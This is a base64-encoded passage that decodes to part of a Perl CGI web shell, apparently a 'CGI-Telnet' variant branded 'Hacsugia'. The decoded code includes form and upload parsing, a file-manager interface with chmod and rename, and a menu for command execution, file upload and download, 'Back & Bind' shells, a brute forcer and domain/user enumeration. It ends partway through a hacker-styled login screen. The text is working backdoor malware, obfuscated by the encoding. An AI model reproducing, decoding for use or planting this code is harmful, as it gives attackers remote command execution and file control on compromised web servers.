aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuI